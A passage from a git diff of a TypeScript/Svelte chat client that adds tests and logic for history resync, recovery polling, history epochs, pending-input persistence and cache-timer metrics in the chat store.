+  it("ignores other conversations and disposed notices; accepts a notice without turnId", async () => {
+    vi.useFakeTimers();
+    const f = fixture();
+    f.store.handleDelta({
+      type: "chat.resync-required",
+      conversationId: "other",
+      reason: "payload-limit",
+    });
+    expect(f.store.recovering).toBe(false);
+    f.store.handleDelta({
+      type: "chat.resync-required",
+      conversationId: "c1",
+      reason: "payload-limit",
+    });
+    await settled(f.store);
+    expect(f.store.generating).toBe(false);
+    expect(f.store.recovering).toBe(false);
+    expect(vi.getTimerCount()).toBe(0);
+    f.event({ type: "turn-start", conversationId: "c1", turnId: "t1" });
+    f.store.handleDelta({
+      type: "chat.resync-required",
+      conversationId: "c1",
+      reason: "payload-limit",
+    });
+    expect(f.store.generating).toBe(true);
+    expect(f.store.recovering).toBe(true);
+    f.end("rejected");
+    await settled(f.store);
+    expect(f.store.recovering).toBe(false);
+    expect(f.store.generating).toBe(false);
+    f.store.dispose();
+    f.notice();
+    expect(vi.getTimerCount()).toBe(0);
+  });
+});
+
+it("recovers a windowed rollback with real IndexedDB cache while preserving lifecycle evidence", async () => {
+  vi.stubGlobal("IDBKeyRange", IDBKeyRange);
+  const cache = createConversationCache(createIdbChunkStore({ indexedDB: new IDBFactory() }));
+  await cache.commit(
+    "c1",
+    [{ seq: 1, role: "assistant", chunk: { type: "text", text: "old epoch" } }],
+    5,
+  );
+  const history = createFakeHistorySync();
+  history.historyEpoch = 5;
+  const timers = new Map<object, () => void>();
+  const store = createChatStore({
+    conversationId: "c1",
+    createRequestId: () => "r",
+    cache,
+    historySync: history.impl,
+    metricsSync: createFakeMetricsSync().impl,
+    transport: createFakeTransport().impl,
+    chatLimit: 10,
+    recoveryTimer: {
+      schedule(fn) {
+        const key = {};
+        timers.set(key, fn);
+        return key;
+      },
+      cancel(key) {
+        timers.delete(key as object);
+      },
+    },
+  });
+  try {
+    await store.load();
+    history.historyEpoch = 0;
+    history.returnChunks = Array.from({ length: 20 }, (_, i) => ({
+      seq: i + 1,
+      role: "assistant" as const,
+      turnId: "t1",
+      chunk: { type: "text" as const, text: `restored-${i}` },
+    }));
+    const before = history.calls.length;
+    store.handleDelta({
+      type: "chat.resync-required",
+      conversationId: "c1",
+      turnId: "t1",
+      reason: "replay-limit",
+    });
+    await vi.waitFor(() => expect(store.pendingSync).toBe(false));
+    expect(history.calls.length - before).toBe(2);
+    expect(history.calls.at(-1)).toMatchObject({ sinceSeq: 0, window: { limit: 7 } });
+    expect(await cache.historyEpoch("c1")).toBe(0);
+    expect(store.chunks.map((c) => c.seq)).toEqual([14, 15, 16, 17, 18, 19, 20]);
+    expect(store.hasEarlier).toBe(true);
+    expect(store.generating).toBe(true);
+    expect(timers.size).toBe(1);
+    store.handleDelta({
+      type: "chat.delta",
+      event: { type: "turn-ended", conversationId: "c1", turnId: "t1", reason: "aborted" },
+    });
+    await vi.waitFor(() => expect(store.pendingSync).toBe(false));
+    expect(store.generating).toBe(false);
+    expect(timers.size).toBe(0);
+    expect(store.hasEarlier).toBe(true);
+  } finally {
+    store.dispose();
+  }
+});
+
+it("ignores an unrelated terminal and stays recovering through done/seal until its actual terminal", async () => {
+  vi.useFakeTimers();
+  const f = fixture();
+  f.notice();
+  await settled(f.store);
+  f.end("aborted", "unrelated");
+  f.event({ type: "done", conversationId: "c1", turnId: "t1", reason: "aborted" });
+  expect(f.store.recovering).toBe(true);
+  expect(f.store.generating).toBe(true);
+  f.event({ type: "turn-sealed", conversationId: "c1", turnId: "t1" });
+  await settled(f.store);
+  expect(f.store.recovering).toBe(true);
+  expect(f.store.generating).toBe(true);
+  f.end("aborted");
+  await settled(f.store);
+  expect(f.store.recovering).toBe(false);
+  expect(f.store.generating).toBe(false);
+  expect(vi.getTimerCount()).toBe(0);
+  f.store.dispose();
+});
+
+it("makes a post-terminal request even when the terminal races the third bounded epoch attempt", async () => {
+  vi.useFakeTimers();
+  const third = deferred();
+  let calls = 0;
+  const f = fixture(async () => {
+    calls++;
+    if (calls < 3) {
+      f.store.invalidateHistory(calls);
+      return response([], calls - 1);
+    }
+    return calls === 3 ? third.promise : response(committed, 2);
+  });
+  f.notice();
+  for (let i = 0; i < 60 && calls < 3; i++) await Promise.resolve();
+  expect(calls).toBe(3);
+  f.end("error");
+  third.resolve(response([], 2));
+  await settled(f.store);
+  expect(calls).toBe(4);
+  expect(f.store.chunks.map((r) => r.chunk)).toEqual(committed.map((r) => r.chunk));
+  expect(f.store.recovering).toBe(false);
+  expect(vi.getTimerCount()).toBe(0);
+  f.store.dispose();
+});
+
+it("retains active recovery across a compaction epoch refresh and cancels it on reconnect/dispose", async () => {
+  vi.useFakeTimers();
+  const f = fixture();
+  f.notice();
+  await settled(f.store);
+  f.history.historyEpoch = 1;
+  f.store.resync(1);
+  await settled(f.store);
+  expect(f.store.recovering).toBe(true);
+  expect(f.store.generating).toBe(true);
+  expect(vi.getTimerCount()).toBe(1);
+  f.store.resync();
+  await settled(f.store);
+  expect(f.store.recovering).toBe(false);
+  expect(f.store.generating).toBe(false);
+  expect(vi.getTimerCount()).toBe(0);
+  f.store.dispose();
+});
+
+it("flushes a batched aborted terminal plus carried turn before applying an older HTTP response", async () => {
+  vi.useFakeTimers();
+  const pending = deferred();
+  let calls = 0;
+  const f = fixture(async () => (++calls === 1 ? pending.promise : response(committed)), true);
+  f.notice();
+  for (let i = 0; i < 15; i++) await Promise.resolve();
+  f.text("old partial");
+  f.end("aborted");
+  f.event({ type: "user-message", conversationId: "c1", turnId: "t2", text: "queued" });
+  f.event({ type: "turn-start", conversationId: "c1", turnId: "t2" });
+  f.text("live carried output", "t2");
+  pending.resolve(response([opening]));
+  await settled(f.store);
+  expect(calls).toBe(2);
+  expect(f.store.chunks.filter((r) => r.provisional).map((r) => r.chunk)).toEqual([
+    { type: "text", text: "queued" },
+    { type: "text", text: "live carried output" },
+  ]);
+  expect(f.store.generating).toBe(true);
+  expect(f.store.recovering).toBe(false);
+  expect(vi.getTimerCount()).toBe(0);
+  f.store.dispose();
+});
+
+it("does not truncate a payload larger than the WS budget recovered over HTTP", async () => {
+  vi.useFakeTimers();
+  const large = "x".repeat(4 * 1024 * 1024 + 1);
+  const full: StoredChunk[] = [
+    {
+      ...call,
+      chunk: {
+        ...call.chunk,
+        type: "tool-call",
+        toolCallId: "a",
+        toolName: "run_shell",
+        input: { command: large },
+        stepId: step,
+      },
+    },
+    {
+      ...result,
+      chunk: {
+        type: "tool-result",
+        toolCallId: "a",
+        toolName: "run_shell",
+        content: large,
+        isError: false,
+        stepId: step,
+      },
+    },
+  ];
+  const f = fixture();
+  f.history.returnChunks = full;
+  f.notice();
+  await settled(f.store);
+  expect(f.store.chunks).toHaveLength(2);
+  expect(f.store.chunks.map((r) => r.chunk)).toEqual(full.map((r) => r.chunk));
+  expect(f.transport.sent).toEqual([]);
+  f.store.dispose();
+});
diff --git a/src/features/chat/store.svelte.ts b/src/features/chat/store.svelte.ts
index 7f8e113..dacbe06 100644
--- a/src/features/chat/store.svelte.ts
+++ b/src/features/chat/store.svelte.ts
@@ -1,9 +1,13 @@
 import type {
+  ChatAcceptedMessage,
   ChatDeltaMessage,
   ChatErrorMessage,
   ChatQueueCancelMessage,
+  ChatQueuedMessage,
   ChatQueueMessage,
+  ChatResyncRequiredMessage,
   ChatSendMessage,
+  ChatSubscriptionRejectedMessage,
 } from "@dispatch/transport-contract";
 import type { ChatMessage, ImageInput, StoredChunk, TurnProviderRetryEvent } from "@dispatch/wire";
 import type { RenderedChunk, TranscriptState } from "../../core/chunks";
@@ -14,7 +18,9 @@ import {
   foldEvent,
   initialState,
   initialWindowSize,
+  markHistoryRecovering,
   normalizeChatLimit,
+  removeLocalEcho,
   restoreEarlier,
   selectChunks,
   selectGenerating,
@@ -25,20 +31,28 @@ import {
   unloadCount,
   windowTranscript,
 } from "../../core/chunks";
-import type { MetricsState, TurnMetricsEntry } from "../../core/metrics";
+import type { CacheTimerState, MetricsState, TurnMetricsEntry } from "../../core/metrics";
 import {
   applyDurableMetrics,
+  foldCacheTimerEvent,
   foldMetricsEvent,
+  initialCacheTimerState,
   initialMetricsState,
+  seedTurnGap,
   selectCurrentContextSize,
   selectOrderedTurnMetrics,
+  stopTurnGap,
 } from "../../core/metrics";
 import type { ConversationCache } from "../conversation-cache";
 import type { NamedAgentSelectionSnapshot } from "../named-agents";
+import type { PendingInput, PendingInputStorage } from "./pending-inputs";
 import type { ChatTransport, HistorySync, MetricsSync } from "./ports";
 
 export interface ChatStoreDependencies {
+  readonly pendingInputStorage?: PendingInputStorage;
   readonly conversationId: string;
+  /** Injected unique client-local correlation token for each new send. */
+  readonly createRequestId: () => string;
   readonly model?: string;
   readonly transport: ChatTransport;
   readonly historySync: HistorySync;
@@ -78,9 +92,18 @@ export interface ChatStoreDependencies {
    * folded synchronously (the original behavior; used by tests).
    */
   readonly scheduleFlush?: (flush: () => void) => void;
+  /** Wall clock (epoch ms) — times the cache-timer gaps. Absent → `Date.now`. */
+  readonly now?: () => number;
+  /** Recovery polling clock; browser effects are replaceable by deterministic tests. */
+  readonly recoveryTimer?: {
+    schedule(callback: () => void, delayMs: number): unknown;
+    cancel(handle: unknown): void;
+  };
 }
 
 export interface ChatStore {
+  readonly pendingInputs: readonly PendingInput[];
+  discardPendingInput(requestId: string): void;
   readonly messages: readonly ChatMessage[];
   readonly chunks: readonly RenderedChunk[];
   readonly turnMetrics: readonly TurnMetricsEntry[];
@@ -107,6 +130,8 @@ export interface ChatStore {
    * to the newest attempt + delay; cleared when content resumes or the turn ends.
    */
   readonly providerRetry: TurnProviderRetryEvent | null;
+  /** Omitted live payloads may not exist in HTTP history until step persistence. */
+  readonly recovering: boolean;
   readonly pendingSync: boolean;
   readonly error: string | null;
   readonly model: string | undefined;
@@ -122,7 +147,29 @@ export interface ChatStore {
    * a trim (see `TranscriptState.hiddenThinkingCount`).
    */
   readonly thinkingKeyBase: number;
-  handleDelta(msg: ChatDeltaMessage | ChatErrorMessage): void;
+  /**
+   * The cache timer (see `core/metrics/cache-timer.ts`): the running gap
+   * between model requests (a step's tools executing, or the wait after a turn
+   * ended) plus the stamped durations of finished gaps, keyed by `stepId` /
+   * `turnId`. Timed with the local clock from live events; in-memory only (a
+   * reload keeps just a turn gap seeded via `noteLastActivity`).
+   */
+  readonly cacheTimer: CacheTimerState;
+  /**
+   * Seed the turn gap from an authoritative activity timestamp (the
+   * conversation list's `lastActivityAt`) — call only for an IDLE conversation.
+   * Ignored while a turn is generating; a running turn gap keeps the later start.
+   */
+  noteLastActivity(at: number): void;
+  handleDelta(
+    msg:
+      | ChatAcceptedMessage
+      | ChatSubscriptionRejectedMessage
+      | ChatDeltaMessage
+      | ChatErrorMessage
+      | ChatQueuedMessage
+      | ChatResyncRequiredMessage,
+  ): void;
   /**
    * Send a user message (start a turn via `chat.send`). Optimistically echoes
    * the text + any `images` as provisional user chunks (`[text, image, …]` in
@@ -139,9 +186,10 @@ export interface ChatStore {
    * auto-starts a turn with the message as its opening prompt (equivalent to
    * `chat.send`). No optimistic transcript echo — the queue SURFACE carries the
    * pending message until drain; the `steering` event places it in the
-   * transcript. `text` must be non-empty (the server 400/errors otherwise).
+   * transcript. Empty `text` is allowed when images are supplied. WS delivery
+   * is fire-and-forget; transport send is not a persistence acknowledgement.
    */
-  queueMessage(text: string): void;
+  queueMessage(text: string, images?: readonly ImageInput[]): void;
   /**
    * Cancel (remove) a single queued steering message by id so it never runs
    * (`chat.queue.cancel` WS op). Fire-and-forget + idempotent: success is
@@ -189,18 +237,79 @@ export interface ChatStore {
    * running, the server's post-subscribe replay re-asserts `generating`. The
    * app store pairs this with a `chat.subscribe` for the conversation.
    */
-  resync(): void;
+  resync(historyEpoch?: number): void;
+  /** Discard pre-replacement transcript state without loading an unseen conversation. */
+  invalidateHistory(historyEpoch: number): void;
   dispose(): void;
 }
 
 export function createChatStore(deps: ChatStoreDependencies): ChatStore {
+  let pendingInputs = $state<readonly PendingInput[]>(deps.pendingInputStorage?.load() ?? []);
+  function savePendingInputs(next: readonly PendingInput[]): void {
+    deps.pendingInputStorage?.save(next);
+    pendingInputs = next;
+  }
+  function confirmInput(requestId: string): void {
+    savePendingInputs(pendingInputs.filter((input) => input.request.requestId !== requestId));
+  }
   let transcript = $state<TranscriptState>(initialState());
   let metrics = $state<MetricsState>(initialMetricsState());
   let _pendingSync = $state(false);
   let _error = $state<string | null>(null);
   let _model = $state<string | undefined>(deps.model);
   let _namedAgent = $state<NamedAgentSelectionSnapshot | null>(null);
+  let cacheTimer = $state<CacheTimerState>(initialCacheTimerState());
+  const now = deps.now ?? Date.now;
   let disposed = false;
+  let rerunRequested = false;
+  let historyEpoch: number | undefined;
+  let revision = 0;
+  let reloadWindow = false;
+  let earliestSeq = $state<number | null>(null);
+  let recoveringTurnId: string | undefined;
+  let recovering = $state(false);
+  const finishedRecoveryTurns = new Set<string>();
+  let finalSyncRequested = false;
+  let recoveryPaused = false;
+  const timer = deps.recoveryTimer ?? {
+    schedule: (callback: () => void, delay: number) => setTimeout(callback, delay),
+    cancel: (handle: unknown) => clearTimeout(handle as ReturnType<typeof setTimeout>),
+  };
+  let recoveryTimer: unknown;
+
+  function cancelRecoveryTimer(): void {
+    if (recoveryTimer !== undefined) timer.cancel(recoveryTimer);
+    recoveryTimer = undefined;
+  }
+
+  function scheduleRecovery(): void {
+    if (disposed || !recovering || recoveryPaused || recoveryTimer !== undefined) return;
+    recoveryTimer = timer.schedule(() => {
+      recoveryTimer = undefined;
+      flushEvents();
+      void syncTail(initialWindowSize(chatLimit));
+    }, 1000);
+  }
+
+  function resetTranscript(epoch: number): void {
+    historyEpoch = epoch;
+    revision++;
+    reloadWindow = true;
+    transcript = initialState();
+    if (recoveringTurnId !== undefined)
+      transcript = markHistoryRecovering(transcript, recoveringTurnId);
+    earliestSeq = null;
+    pendingEvents = [];
+  }
+  function hasEarlier(): boolean {
+    return selectHasEarlier(transcript, earliestSeq);
+  }
+
+  /** The most recent turn's id (resolves a seeded turn gap when it is stamped). */
+  function lastTurnIdOf(m: MetricsState): string | undefined {
+    const entries = selectOrderedTurnMetrics(m);
+    return entries[entries.length - 1]?.turnId;
+  }
 
   let chatLimit = normalizeChatLimit(deps.chatLimit);
 
@@ -242,16 +351,42 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
     let m = metrics;
     let sealed = false;
     let failed = false;
+    let recoveryEnded = false;
+    let c = cacheTimer;
+    const at = now();
     for (const event of events) {
       t = foldEvent(t, event);
       m = foldMetricsEvent(m, event);
-      if (t.sealedTurnId !== null) sealed = true;
+      const mNow = m;
+      c = foldCacheTimerEvent(c, event, at, () => lastTurnIdOf(mNow));
+      if (
+        event.type === "turn-ended" &&
+        recovering &&
+        (recoveringTurnId === undefined || event.turnId === recoveringTurnId)
+      ) {
+        finishedRecoveryTurns.add(event.turnId);
+        finalSyncRequested = true;
+        recoveringTurnId = undefined;
+        recovering = false;
+        recoveryEnded = true;
+        cancelRecoveryTimer();
+      }
+      if (event.type === "turn-sealed") sealed = true;
       else if (event.type === "error") failed = true;
     }
     transcript = t;
     metrics = m;
+    cacheTimer = c;
     maybeTrim();
-    if (sealed) {
+    if (recovering && recoveringTurnId !== undefined) {
+      // done/error/seal can precede persistence and the real terminal. Keep
+      // lifecycle evidence until turn-ended, not merely until a content event.
+      transcript = markHistoryRecovering(transcript, recoveringTurnId);
+    }
+    if (recoveryEnded) {
+      void syncTail(initialWindowSize(chatLimit));
+      void syncMetrics();
+    } else if (sealed) {
       void syncTail();
       void syncMetrics();
     } else if (failed) {
@@ -280,27 +415,142 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
    * between the cache and the fetched window.
    */
   async function syncTail(coldLimit?: number): Promise<void> {
-    if (disposed || _pendingSync) return;
+    if (disposed) return;
+    if (_pendingSync) {
+      rerunRequested = true;
+      return;
+    }
     _pendingSync = true;
-    try {
-      const since = await deps.cache.sinceSeq(deps.conversationId);
-      const window = since === 0 && coldLimit !== undefined ? { limit: coldLimit } : undefined;
-      const res = await deps.historySync(deps.conversationId, since, window);
-      const merged = await deps.cache.commit(deps.conversationId, res.chunks);
-      transcript = applyHistory(transcript, merged);
-      maybeTrim();
-      _error = null;
-    } catch (err) {
-      _error = err instanceof Error ? err.message : String(err);
-    } finally {
-      _pendingSync = false;
+    // One request plus at most two sequential reruns. Continued churn waits for
+    // the next reconnect/seal/explicit resync, never a microtask refetch loop.
+    let attempts = 0;
+    do {
+      attempts++;
+      rerunRequested = false;
+      try {
+        const currentRevision = revision;
+        let cachedEpoch = await deps.cache.historyEpoch(deps.conversationId);
+        if (historyEpoch !== undefined && cachedEpoch !== historyEpoch) {
+          await deps.cache.reset(deps.conversationId, historyEpoch);
+          cachedEpoch = await deps.cache.historyEpoch(deps.conversationId);
+        }
+        const since =
+          reloadWindow || cachedEpoch === undefined
+            ? 0
+            : await deps.cache.sinceSeq(deps.conversationId);
+        if (disposed) break;
+        if (revision !== currentRevision) {
+          rerunRequested = true;
+          continue;
+        }
+        const limit =
+          since === 0
+            ? reloadWindow || recovering || finishedRecoveryTurns.size > 0
+              ? initialWindowSize(chatLimit)
+              : coldLimit
+            : undefined;
+        const finishedAtRequest = [...finishedRecoveryTurns];
+        finalSyncRequested = false;
+        const res = await deps.historySync(
+          deps.conversationId,
+          since,
+          limit === undefined ? undefined : { limit },
+        );
+        if (disposed) break;
+        if (revision !== currentRevision) {
+          rerunRequested = true;
+          continue;
+        }
+        const mismatch =
+          (cachedEpoch !== undefined && cachedEpoch !== res.historyEpoch) ||
+          (historyEpoch !== undefined && historyEpoch !== res.historyEpoch);
+        if (mismatch && since !== 0) {
+          // A cursor response cannot replace a different history. Confirm with
+          // a new full-window request; don't mistake a lower epoch for staleness.
+          reloadWindow = true;
+          rerunRequested = true;
+          continue;
+        }
+        let merged: readonly StoredChunk[];
+        if (mismatch || cachedEpoch === undefined) {
+          const replaced = await deps.cache.replace(
+            deps.conversationId,
+            res.chunks,
+            res.historyEpoch,
+            cachedEpoch,
+          );
+          const replacedEpoch = await deps.cache.historyEpoch(deps.conversationId);
+          if (disposed) break;
+          if (revision !== currentRevision || !replaced || replacedEpoch !== res.historyEpoch) {
+            rerunRequested = true;
+            continue;
+          }
+          if (mismatch) resetTranscript(res.historyEpoch);
+          merged = res.chunks;
+        } else {
+          merged = await deps.cache.commit(deps.conversationId, res.chunks, res.historyEpoch);
+          const committedEpoch = await deps.cache.historyEpoch(deps.conversationId);
+          if (disposed) break;
+          if (revision !== currentRevision || committedEpoch !== res.historyEpoch) {
+            rerunRequested = true;
+            continue;
+          }
+        }
+        reloadWindow = false;
+        historyEpoch = res.historyEpoch;
+        if (since === 0 && (limit === undefined || res.chunks.length < limit))
+          earliestSeq = merged[0]?.seq ?? 0;
+        flushEvents();
+        transcript = applyHistory(transcript, merged, finishedAtRequest);
+        for (const turnId of finishedAtRequest) finishedRecoveryTurns.delete(turnId);
+        maybeTrim();
+        _error = null;
+      } catch (err) {
+        _error = err instanceof Error ? err.message : String(err);
+      }
+    } while (rerunRequested && !disposed && attempts < 3);
+    if (rerunRequested && !disposed) {
+      recoveryPaused = true;
+      cancelRecoveryTimer();
+      _error = "Conversation history changed repeatedly; sync paused until the next refresh.";
+    }
+    _pendingSync = false;
+    // Schedule AFTER the bounded sync burst. No interval can queue unbounded
+    // reruns behind a slow request; repeated notices coalesce on the same clock.
+    scheduleRecovery();
+    // A terminal landing during the third (bounded epoch) attempt still owns
+    // one post-terminal request. It is a new external trigger, not an epoch
+    // retry loop; consume the flag before starting its bounded burst.
+    if (finalSyncRequested && !disposed) {
+      finalSyncRequested = false;
+      void syncTail(initialWindowSize(chatLimit));
+    }
+  }
+
+  let pendingMetrics: Promise<void> | undefined;
+  let rerunMetrics = false;
+  function syncMetrics(): Promise<void> {
+    if (pendingMetrics !== undefined) {
+      rerunMetrics = true;
+      return pendingMetrics;
     }
+    pendingMetrics = (async () => {
+      for (let attempt = 0; attempt < 2; attempt++) {
+        rerunMetrics = false;
+        await fetchMetrics();
+        if (!rerunMetrics || disposed) break;
+      }
+    })().finally(() => {
+      pendingMetrics = undefined;
+    });
+    return pendingMetrics;
   }
 
-  async function syncMetrics(): Promise<void> {
+  async function fetchMetrics(): Promise<void> {
     if (disposed) return;
     try {
       const res = await deps.metricsSync(deps.conversationId);
+      if (disposed) return;
       metrics = applyDurableMetrics(metrics, res.turns);
     } catch (err) {
       // Metrics fetch failure must not block history sync or throw;
@@ -318,14 +568,27 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
    * newest `count` of them). Shared by `showEarlier` and the raise-refill.
    */
   async function backfillOlder(oldest: number, want: number): Promise<readonly StoredChunk[]> {
+    const currentRevision = revision;
     let earlier = (await deps.cache.load(deps.conversationId)).filter((c) => c.seq < oldest);
+    if (disposed || revision !== currentRevision) return [];
     const oldestKnown = earlier[0]?.seq ?? oldest;
-    if (earlier.length < want && oldestKnown > 1) {
+    if (earlier.length < want && (earliestSeq === null || oldestKnown > earliestSeq)) {
       const res = await deps.historySync(deps.conversationId, 0, {
         beforeSeq: oldestKnown,
         limit: want - earlier.length,
       });
-      const merged = await deps.cache.commit(deps.conversationId, res.chunks);
+      if (disposed || revision !== currentRevision) return [];
+      if (res.historyEpoch !== historyEpoch) {
+        // Confirm a backfill mismatch with a fresh full window as well. Bump
+        // the local revision so an overlapping old tail cannot be applied.
+        revision++;
+        reloadWindow = true;
+        await syncTail(initialWindowSize(chatLimit));
+        return [];
+      }
+      const merged = await deps.cache.commit(deps.conversationId, res.chunks, res.historyEpoch);
+      if (disposed || revision !== currentRevision) return [];
+      if (res.chunks.length < want - earlier.length) earliestSeq = merged[0]?.seq ?? 0;
       earlier = merged.filter((c) => c.seq < oldest);
     }
     return earlier;
@@ -335,15 +598,15 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
    * Refill toward the fresh-load window after a limit RAISE: pull older
    * history (cache first, then server) so the loaded set grows to match what a
    * fresh `load()` would show at the new limit. No-op when already at the
-   * origin (seq 1) or already within the window. `restoreEarlier` re-derives
+   * known history boundary or already within the window. `restoreEarlier` re-derives
    * the window start at apply time, so a delta landing during the await can't
    * corrupt the merge. NOT gated (refilling prepends above the viewport; the
    * caller preserves scroll position).
    */
   async function refill(): Promise<void> {
     if (disposed) return;
+    if (!hasEarlier()) return;
     const oldest = transcript.committed[0]?.seq ?? transcript.hiddenBeforeSeq;
-    if (oldest <= 1) return;
     const want = initialWindowSize(chatLimit) - transcript.committed.length;
     if (want <= 0) return;
     try {
@@ -357,6 +620,10 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
   }
 
   return {
+    get pendingInputs() {
+      return pendingInputs;
+    },
+    discardPendingInput: confirmInput,
     get messages(): readonly ChatMessage[] {
       return selectMessages(transcript);
     },
@@ -375,6 +642,9 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
     get providerRetry(): TurnProviderRetryEvent | null {
       return selectProviderRetry(transcript);
     },
+    get recovering(): boolean {
+      return recovering;
+    },
     get pendingSync(): boolean {
       return _pendingSync;
     },
@@ -385,18 +655,90 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
       return _model;
     },
     get hasEarlier(): boolean {
-      return selectHasEarlier(transcript);
+      return hasEarlier();
     },
     get thinkingKeyBase(): number {
       return transcript.hiddenThinkingCount;
     },
+    get cacheTimer(): CacheTimerState {
+      return cacheTimer;
+    },
 
-    handleDelta(msg: ChatDeltaMessage | ChatErrorMessage): void {
+    noteLastActivity(at: number): void {
+      if (selectGenerating(transcript)) return;
+      cacheTimer = seedTurnGap(cacheTimer, at);
+    },
+
+    handleDelta(
+      msg:
+        | ChatAcceptedMessage
+        | ChatSubscriptionRejectedMessage
+        | ChatDeltaMessage
+        | ChatErrorMessage
+        | ChatQueuedMessage
+        | ChatResyncRequiredMessage,
+    ): void {
+      if (disposed) return;
+      if (msg.type === "chat.accepted") {
+        if (msg.conversationId === deps.conversationId) confirmInput(msg.requestId);
+        return;
+      }
+      if (msg.type === "chat.subscription-rejected") {
+        if (msg.conversationId === deps.conversationId) {
+          _error =
+            "Live updates could not be subscribed. Message delivery is independent; saved inputs remain available below.";
+          void syncTail();
+        }
+        return;
+      }
+      if (msg.type === "chat.resync-required") {
+        if (msg.conversationId !== deps.conversationId) return;
+        flushEvents();
+        const target =
+          msg.turnId ?? (transcript.generating ? transcript.currentTurnId : null) ?? undefined;
+        // Oversized status packets need not identify an active turn. Refresh
+        // once, but do not invent generation or poll an idle conversation.
+        if (target === undefined) {
+          void syncTail(initialWindowSize(chatLimit));
+          return;
+        }
+        const first = !recovering || recoveryPaused;
+        recoveryPaused = false;
+        recovering = true;
+        recoveringTurnId = target;
+        if (recoveringTurnId !== undefined)
+          transcript = markHistoryRecovering(transcript, recoveringTurnId);
+        // Immediate first handoff, including a coalesced rerun behind a cold
+        // load. Repeats wait for the existing fetch/one-second timer.
+        if (first) void syncTail(initialWindowSize(chatLimit));
+        return;
+      }
       if (msg.type === "chat.error") {
         if (msg.conversationId !== undefined && msg.conversationId !== deps.conversationId) {
           return;
         }
         _error = msg.message;
+        if (msg.requestId !== undefined) {
+          savePendingInputs(
+            pendingInputs.map((input) =>
+              input.request.requestId === msg.requestId
+                ? { ...input, rejection: msg.message }
+                : input,
+            ),
+          );
+          transcript = removeLocalEcho(transcript, msg.requestId);
+        }
+        return;
+      }
+      if (msg.type === "chat.queued") {
+        if (disposed || msg.conversationId !== deps.conversationId) return;
+        // A queued live opening may already have confirmed the echoed text.
+        // Fold it first; turn-start alone must not protect still-local artifacts.
+        flushEvents();
+        if (msg.requestId !== undefined) {
+          confirmInput(msg.requestId);
+          transcript = removeLocalEcho(transcript, msg.requestId);
+        }
         return;
       }
       if (msg.event.conversationId !== deps.conversationId) {
@@ -415,10 +757,12 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
 
     send(text: string, images?: readonly ImageInput[]): void {
       flushEvents();
-      transcript = appendUserMessage(transcript, text, images);
-      maybeTrim();
-      const msg: ChatSendMessage = {
+      // Sending ends the wait since the last turn: stamp it on that turn.
+      cacheTimer = stopTurnGap(cacheTimer, now(), () => lastTurnIdOf(metrics));
+      const requestId = deps.createRequestId();
+      const msg: ChatSendMessage & { requestId: string } = {
         type: "chat.send",
+        requestId,
         conversationId: deps.conversationId,
         message: text,
         ...(_model !== undefined ? { model: _model } : {}),
@@ -426,18 +770,34 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
         ...(deps.workspaceId !== undefined ? { workspaceId: deps.workspaceId } : {}),
         ...(images !== undefined && images.length > 0 ? { images: [...images] } : {}),
       };
+      try {
+        savePendingInputs([...pendingInputs, { request: msg }]);
+      } catch (error) {
+        deps.onError?.("Unable to save input; the message has not been sent", error);
+        throw error;
+      }
+      transcript = appendUserMessage(transcript, text, images, requestId);
+      maybeTrim();
       deps.transport.send(msg);
     },
 
-    queueMessage(text: string): void {
+    queueMessage(text: string, images?: readonly ImageInput[]): void {
       const trimmed = text.trim();
-      if (trimmed.length === 0) return;
-      const msg: ChatQueueMessage = {
+      if (trimmed.length === 0 && !images?.length) return;
+      const msg: ChatQueueMessage & { requestId: string } = {
         type: "chat.queue",
+        requestId: deps.createRequestId(),
         conversationId: deps.conversationId,
         text: trimmed,
+        ...(images !== undefined && images.length > 0 ? { images: [...images] } : {}),
         ...(deps.workspaceId !== undefined ? { workspaceId: deps.workspaceId } : {}),
       };
+      try {
+        savePendingInputs([...pendingInputs, { request: msg }]);
+      } catch (error) {
+        deps.onError?.("Unable to save input; the message has not been queued", error);
+        throw error;
+      }
       deps.transport.send(msg);
     },
 
@@ -481,8 +841,11 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
       // server instead (CR-5 `?limit=`), so a huge conversation never ships
       // whole. The post-sync window re-asserts the cap either way.
       const windowSize = initialWindowSize(chatLimit);
+      const currentRevision = revision;
+      const cachedEpoch = await deps.cache.historyEpoch(deps.conversationId);
       const cached = await deps.cache.load(deps.conversationId);
-      if (cached.length > 0) {
+      if (!disposed && revision === currentRevision && cachedEpoch !== undefined) {
+        historyEpoch = cachedEpoch;
         transcript = windowTranscript(applyHistory(transcript, cached), windowSize);
       }
       await syncTail(windowSize);
@@ -493,7 +856,7 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
     async showEarlier(): Promise<void> {
       if (disposed) return;
       const oldest = transcript.committed[0]?.seq ?? transcript.hiddenBeforeSeq;
-      if (oldest <= 1) return;
+      if (!hasEarlier()) return;
       const want = unloadCount(chatLimit);
       try {
         const earlier = await backfillOlder(oldest, want);
@@ -504,19 +867,33 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
       }
     },
 
-    resync(): void {
+    invalidateHistory(epoch): void {
+      if (!disposed && (historyEpoch === undefined || epoch > historyEpoch)) resetTranscript(epoch);
+    },
+
+    resync(epoch?: number): void {
       if (disposed) return;
+      if (epoch !== undefined && (historyEpoch === undefined || epoch > historyEpoch))
+        resetTranscript(epoch);
       // A turn may have sealed while we were disconnected (missed `turn-sealed`):
       // clear the now-stale spinner BEFORE re-subscribing, so a finished turn
       // doesn't spin forever. A still-running turn's replay re-asserts it.
       flushEvents();
-      transcript = clearGenerating(transcript);
+      recoveryPaused = false;
+      if (epoch === undefined) {
+        recovering = false;
+        recoveringTurnId = undefined;
+        cancelRecoveryTimer();
+        transcript = clearGenerating(transcript);
+      }
       void syncTail();
       void syncMetrics();
     },
 
     dispose(): void {
       disposed = true;
+      cancelRecoveryTimer();
+      finishedRecoveryTurns.clear();
       pendingEvents = [];
     },
   };
diff --git a/src/features/chat/store.test.ts b/src/features/chat/store.test.ts
index f9b4b38..5040e67 100644
--- a/src/features/chat/store.test.ts
